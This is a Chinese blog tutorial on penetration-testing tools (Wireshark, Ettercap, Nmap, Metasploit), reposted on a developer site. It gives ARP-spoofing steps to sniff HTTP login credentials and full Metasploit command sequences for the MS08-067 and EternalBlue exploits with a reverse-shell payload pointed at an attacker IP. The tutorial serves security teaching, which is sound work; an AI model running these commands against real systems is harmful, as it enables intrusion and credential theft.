主頁 > 後端開發 > [滲透測驗]—5.3 網路滲透測驗技術和工具

[滲透測驗]—5.3 網路滲透測驗技術和工具

2023-06-28 10:45:23 後端開發

在本章節中,我們將學習一些常用的網路滲透測驗技術和工具,如Wireshark、Ettercap等,我們會盡量將內容講解得詳細、通俗易懂,并提供盡可能多的實體,

5.1 Wireshark

Wireshark是一款免費的開源資料包分析器,可以實時或離線捕獲、分析和解碼網路資料包,Wireshark可以幫助我們識別網路中的例外流量、理解應用程式的通信程序、除錯網路協議等,

安裝Wireshark:

在Debian/Ubuntu系統上,可以使用以下命令安裝Wireshark:

sudo apt-get install wireshark

在其他作業系統上,請訪問Wireshark官網 下載并安裝,

使用Wireshark捕獲資料包:

  1. 打開Wireshark,選擇一個要監控的網路介面,

  2. 點擊“開始捕獲”按鈕,Wireshark將開始捕獲資料包,

  3. 在捕獲程序中,可以使用“顯示過濾器”來過濾感興趣的資料包,例如,要查看所有HTTP請求,可以輸入http.request

  4. 停止捕獲后,可以點擊資料包查看詳細資訊,并使用Wireshark的解碼器分析協議,

實體:使用Wireshark分析HTTP請求:

  1. 開始捕獲資料包,并訪問一個HTTP網站,如http://example.com

  2. 在Wireshark中輸入顯示過濾器http.request,過濾出HTTP請求,

  3. 選擇一個HTTP請求資料包,查看詳細資訊和協議解碼,

通過分析HTTP請求,我們可以了解請求方法、目標URL、請求頭等資訊,這對于理解應用程式的通信程序和除錯網路協議非常有幫助,

5.2 Ettercap

Ettercap是一款開源的網路嗅探和中間人攻擊工具,它可以實作ARP欺騙、SSL/TLS中間人攻擊、資料包捕獲和分析等功能,

安裝Ettercap:

在Debian/Ubuntu系統上,可以使用以下命令安裝Ettercap:

sudo apt-get install ettercap-graphical

在其他作業系統上,請訪問Ettercap官網 下載并安裝,

使用Ettercap執行ARP欺騙和中間人攻擊:

  1. 打開Ettercap,選擇“統一嗅探”,

  2. 選擇一個要監控的網路介面,

  3. 使用“主機串列”掃描目標網路,并選擇要攻擊的目標設備和網關,

  4. 啟用“ARP欺騙”插件,并開始嗅探,

  5. 在嗅探程序中,可以使用Ettercap的資料包捕獲和分析功能,或將資料包轉發給其他工具(如Wireshark)進行分析,

實體:使用Ettercap嗅探HTTP登錄憑證:

  1. 使用Ettercap執行ARP欺騙和中間人攻擊,嗅探目標設備的網路流量,

  2. 當目標設備訪問一個HTTP登錄頁面并提交登錄憑證時,使用Ettercap捕獲HTTP POST請求,

  3. 分析HTTP POST請求,提取出用戶名和密碼欄位,

通過嗅探HTTP登錄憑證,我們可以了解應用程式的認證機制,從而找到可能的安全漏洞,

請注意,這些示例僅用于教育目的,在實際環境中進行網路滲透測驗時,請確保遵循法律法規和獲得適當的授權,

5.3 Nmap

Nmap(網路映射器)是一款開源的網路掃描工具,可以用于發現目標網路中的主機、服務、作業系統等資訊,它可以幫助我們識別目標設備的開放埠和運行的服務,從而找到可能的攻擊點,

安裝Nmap:

在Debian/Ubuntu系統上,可以使用以下命令安裝Nmap:

sudo apt-get install nmap

在其他作業系統上,請訪問Nmap官網 下載并安裝,

使用Nmap進行埠掃描:

  1. 打開終端,輸入以下命令進行埠掃描:
nmap -p 1-65535 <target IP>
  1. Nmap將掃描目標IP的所有埠,并報告開放的埠和運行的服務,

實體:使用Nmap掃描開放的HTTP服務:

  1. 使用Nmap對目標IP進行埠掃描:
nmap -p 80,443 <target IP>
  1. 查看掃描結果,找出運行HTTP(80埠)或HTTPS(443埠)服務的設備,

通過掃描開放的HTTP服務,我們可以找到目標網路中可能存在的Web應用程式,進一步評估其安全性,

5.4 Metasploit

Metasploit是一款強大的滲透測驗框架,包含了大量的漏洞利用模塊、輔助模塊、載荷、監聽器等功能,Metasploit可以幫助我們自動化滲透測驗程序,快速發現并利用目標設備的安全漏洞,

安裝Metasploit:

在Debian/Ubuntu系統上,可以使用以下命令安裝Metasploit:

sudo apt-get install metasploit-framework

在其他作業系統上,請訪問Metasploit官網 下載并安裝,

使用Metasploit執行滲透測驗:

  1. 打開Metasploit控制臺,輸入以下命令:
msfconsole
  1. 使用search命令搜索感興趣的漏洞利用模塊,如:
search type:exploit platform:windows smb
  1. 使用use命令選擇一個漏洞利用模塊:

bash

Copy

use exploit/windows/smb/ms08_067_netapi
  1. 使用show options命令查看模塊選項,并使用set命令配置必要的選項:
show options
set RHOST <target IP>
  1. 使用exploit命令執行漏洞利用:
exploit
  1. 如果漏洞利用成功,我們將獲得目標設備的控制權,如Meterpreter會話,

實體:使用Metasploit利用EternalBlue漏洞:

  1. 使用Nmap掃描目標設備的SMB服務:
nmap -p 445 --script smb-vuln-ms17-010 <target IP>
  1. 如果目標設備存在EternalBlue漏洞,使用Metasploit執行滲透測驗:
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOST <target IP>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker IP>
exploit
  1. 如果漏洞利用成功,我們將獲得目標設備的Meterpreter會話,可以執行進一步的攻擊和滲透測驗,

請注意,這些示例僅用于教育目的,在實際環境中進行網路滲透測驗時,請確保遵
推薦閱讀:

https://mp.weixin.qq.com/s/dV2JzXfgjDdCmWRmE0glDA

https://mp.weixin.qq.com/s/an83QZOWXHqll3SGPYTL5g

file

轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/556189.html

標籤:其他

上一篇:一文了解Go語言的I/O介面設計

下一篇:返回列表

標籤雲
其他(161772) Python(38255) JavaScript(25515) Java(18268) C(15238) 區塊鏈(8273) C#(7972) AI(7469) 爪哇(7425) MySQL(7271) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5875) 数组(5741) R(5409) Linux(5347) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4607) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2438) ASP.NET(2404) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) .NET技术(1985) HtmlCss(1976) 功能(1967) Web開發(1951) C++(1942) python-3.x(1918) 弹簧靴(1913) xml(1889) PostgreSQL(1881) .NETCore(1863) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 【C++】Microsoft C++、C 和匯編程式檔案

    ......

    uj5u.com 2020-09-10 00:57:23 more
  • 例外宣告

    相比于斷言適用于排除邏輯上不可能存在的狀態,例外通常是用于邏輯上可能發生的錯誤。 例外宣告 Item 1:當函式不可能拋出例外或不能接受拋出例外時,使用noexcept 理由 如果不打算拋出例外的話,程式就會認為無法處理這種錯誤,并且應當盡早終止,如此可以有效地阻止例外的傳播與擴散。 示例 //不可 ......

    uj5u.com 2020-09-10 00:57:27 more
  • Codeforces 1400E Clear the Multiset(貪心 + 分治)

    鏈接:https://codeforces.com/problemset/problem/1400/E 來源:Codeforces 思路:給你一個陣列,現在你可以進行兩種操作,操作1:將一段沒有 0 的區間進行減一的操作,操作2:將 i 位置上的元素歸零。最終問:將這個陣列的全部元素歸零后操作的最少 ......

    uj5u.com 2020-09-10 00:57:30 more
  • UVA11610 【Reverse Prime】

    本人看到此題沒有翻譯,就附帶了一個自己的翻譯版本 思考 這一題,它的第一個要求是找出所有 $7$ 位反向質數及其質因數的個數。 我們應該需要質數篩篩選1~$10^{7}$的所有數,這里就不慢慢介紹了。但是,重讀題,我們突然發現反向質數都是 $7$ 位,而將它反過來后的數字卻是 $6$ 位數,這就說明 ......

    uj5u.com 2020-09-10 00:57:36 more
  • 統計區間素數數量

    1 #pragma GCC optimize(2) 2 #include <bits/stdc++.h> 3 using namespace std; 4 bool isprime[1000000010]; 5 vector<int> prime; 6 inline int getlist(int ......

    uj5u.com 2020-09-10 00:57:47 more
  • C/C++編程筆記:C++中的 const 變數詳解,教你正確認識const用法

    1、C中的const 1、區域const變數存放在堆疊區中,會分配記憶體(也就是說可以通過地址間接修改變數的值)。測驗代碼如下: 運行結果: 2、全域const變數存放在只讀資料段(不能通過地址修改,會發生寫入錯誤), 默認為外部聯編,可以給其他源檔案使用(需要用extern關鍵字修飾) 運行結果: ......

    uj5u.com 2020-09-10 00:58:04 more
  • 【C++犯錯記錄】VS2019 MFC添加資源不懂如何修改資源宏ID

    1. 首先在資源視圖中,添加資源 2. 點擊新添加的資源,復制自動生成的ID 3. 在解決方案資源管理器中找到Resource.h檔案,編輯,使用整個專案搜索和替換的方式快速替換 宏宣告 4. Ctrl+Shift+F 全域搜索,點擊查找全部,然后逐個替換 5. 為什么使用搜索替換而不使用屬性視窗直 ......

    uj5u.com 2020-09-10 00:59:11 more
  • 【C++犯錯記錄】VS2019 MFC不懂的批量添加資源

    1. 打開資源頭檔案Resource.h,在其中預先定義好宏 ID(不清楚其實ID值應該設定多少,可以先新建一個相同的資源項,再在這個資源的ID值的基礎上遞增即可) 2. 在資源視圖中選中專案資源,按F7編輯資源檔案,按 ID 型別 相對路徑的形式添加 資源。(別忘了先把檔案拷貝到專案中的res檔案 ......

    uj5u.com 2020-09-10 01:00:19 more
  • C/C++編程筆記:關于C++的參考型別,專供新手入門使用

    今天要講的是C++中我最喜歡的一個用法——參考,也叫別名。 參考就是給一個變數名取一個變數名,方便我們間接地使用這個變數。我們可以給一個變數創建N個參考,這N + 1個變數共享了同一塊記憶體區域。(參考型別的變數會占用記憶體空間,占用的記憶體空間的大小和指標型別的大小是相同的。雖然參考是一個物件的別名,但 ......

    uj5u.com 2020-09-10 01:00:22 more
  • 【C/C++編程筆記】從頭開始學習C ++:初學者完整指南

    眾所周知,C ++的學習曲線陡峭,但是花時間學習這種語言將為您的職業帶來奇跡,并使您與其他開發人員區分開。您會更輕松地學習新語言,形成真正的解決問題的技能,并在編程的基礎上打下堅實的基礎。 C ++將幫助您養成良好的編程習慣(即清晰一致的編碼風格,在撰寫代碼時注釋代碼,并限制類內部的可見性),并且由 ......

    uj5u.com 2020-09-10 01:00:41 more
最新发布
  • [滲透測驗]—5.3 網路滲透測驗技術和工具

    在本章節中,我們將學習一些常用的網路滲透測驗技術和工具,如Wireshark、Ettercap等。我們會盡量將內容講解得詳細、通俗易懂,并提供盡可能多的實體。 ### 5.1 Wireshark Wireshark是一款免費的開源資料包分析器,可以實時或離線捕獲、分析和解碼網路資料包。Wiresha ......

    uj5u.com 2023-06-28 10:45:23 more
  • 一文了解Go語言的I/O介面設計

    # 1. 引言 I/O 操作在編程中扮演著至關重要的角色。它涉及程式與外部世界之間的資料交換,允許程式從外部,如鍵盤、檔案、網路等地方讀取資料,也能夠將外界輸入的資料重新寫入到目標位置中。使得程式能夠與外部環境進行資料交換、與用戶進行互動、實作資料持久化和檔案操作、進行網路通信等。因此,了解和掌握I ......

    uj5u.com 2023-06-28 10:45:18 more
  • Intellij IDEA 插件開發

    很多idea插件檔案更多的是介紹如何創建一個簡單的idea插件,本篇文章從開發環境、demo、生態組件、添加依賴包、原始碼解讀、網路請求、渲染資料、頁面互動等方面介紹,是一篇能夠滿足基本的插件開發工程要求的文章。 ......

    uj5u.com 2023-06-28 10:44:21 more
  • 說說設計模式~命令模式(command)

    [回到目錄](https://www.cnblogs.com/lori/p/3896484.html) # 概述 命令模式(Command Pattern)是一種行為型設計模式,它將請求封裝成一個物件,從而允許我們根據不同的請求將客戶端引數化,并且能夠將請求排隊或記錄請求日志、支持撤銷操作等。該模式 ......

    uj5u.com 2023-06-28 10:39:06 more
  • 一文了解Go語言的I/O介面設計

    # 1. 引言 I/O 操作在編程中扮演著至關重要的角色。它涉及程式與外部世界之間的資料交換,允許程式從外部,如鍵盤、檔案、網路等地方讀取資料,也能夠將外界輸入的資料重新寫入到目標位置中。使得程式能夠與外部環境進行資料交換、與用戶進行互動、實作資料持久化和檔案操作、進行網路通信等。因此,了解和掌握I ......

    uj5u.com 2023-06-28 10:38:47 more
  • JavaCV人臉識別三部曲之一:視頻中的人臉保存為圖片

    ### 歡迎訪問我的GitHub > 這里分類和匯總了欣宸的全部原創(含配套原始碼):[https://github.com/zq2599/blog_demos](https://github.com/zq2599/blog_demos) ### 關于人臉識別 - 本文是《JavaCV人臉識別三部曲》 ......

    uj5u.com 2023-06-28 09:08:58 more
  • C++面試八股文:用過std::set/std::map嗎?

    某日二師兄參加XXX科技公司的C++工程師開發崗位第27面: > 面試官:用過`std::set/std::map`嗎? > > 二師兄:用過。 > > 面試官:能介紹一下二者嗎? > > 二師兄:`std::set`是一個有序的集合,其中的元素是唯一的,即每個元素只能出現一次。一般用于去重和自動排 ......

    uj5u.com 2023-06-28 09:08:47 more
  • 執行緒池

    # 執行緒池 ## 簡介 執行緒池是一種基于池化思想的執行緒管理工具。 ## 優點 - 降低資源消耗 - 提高回應速度 - 提高執行緒的可管理性 - 提供可擴展性 ## 使用場景 - 連接池 - 執行緒隔離 - 開發中需要創建5個以上的執行緒就可以考慮使用執行緒池 ## 執行緒池核心引數 | 引數名 | 型別 | ......

    uj5u.com 2023-06-28 09:08:44 more
  • Golang空結構體struct{}的作用?

    ### 介紹 在平時做專案得時候,經常會看到很多包里面定義了結構體。 e.g. 在`context`包里面`Context`介面中的`Done()`方法,`Done()`回傳一個是以空結構體定義資料的通道`chan struct{}`,那這里他是有什么特殊用意嗎?我們接下來分析`struct{}`的 ......

    uj5u.com 2023-06-28 09:08:40 more
  • PHP代碼加密實戰程序 Swoole Loader

    幫一個客戶處理一個小程式bug修復,前面不知道客戶是直接購買一個倒閉的公司產品,還是破解版本的。 其中一些核心工具類代碼進行了加密,通過排查就找到了 Swoole Compiler 今天演示下如何進行代碼加密: 大致步驟 如下: 注冊 Swoole Compiler 賬號 地址:Swoole-Com ......

    uj5u.com 2023-06-28 09:08:26 more